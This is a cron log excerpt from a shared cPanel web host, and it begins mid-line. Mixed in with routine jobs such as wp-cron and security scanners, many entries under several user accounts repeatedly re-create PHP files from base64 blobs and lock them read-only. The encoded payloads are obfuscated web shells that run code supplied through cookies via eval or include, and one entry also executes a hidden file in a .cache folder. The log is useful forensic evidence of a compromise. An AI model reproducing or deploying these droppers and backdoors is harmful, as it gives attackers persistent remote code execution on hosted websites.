X2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:41:01 medusa CROND[24208]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:41:01 medusa CROND[24209]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:41:01 medusa CROND[24218]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:41:01 medusa CROND[24222]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:41:01 medusa CROND[24223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:41:01 medusa CROND[24224]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:41:01 medusa CROND[24226]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:41:01 medusa CROND[24228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:41:01 medusa CROND[24229]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:42:01 medusa CROND[16611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:42:01 medusa CROND[16612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:42:01 medusa CROND[16613]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:42:01 medusa CROND[16614]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:42:01 medusa CROND[16616]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:42:01 medusa CROND[16617]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:42:01 medusa CROND[16621]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:42:01 medusa CROND[16622]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:42:01 medusa CROND[16624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:42:01 medusa CROND[16627]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:42:01 medusa CROND[16628]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:42:01 medusa CROND[16629]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:42:01 medusa CROND[16625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:43:01 medusa CROND[9604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:43:01 medusa CROND[9605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:43:01 medusa CROND[9606]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 12:43:01 medusa CROND[9607]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:43:01 medusa CROND[9608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:43:01 medusa CROND[9609]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:43:01 medusa CROND[9611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:43:01 medusa CROND[9613]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
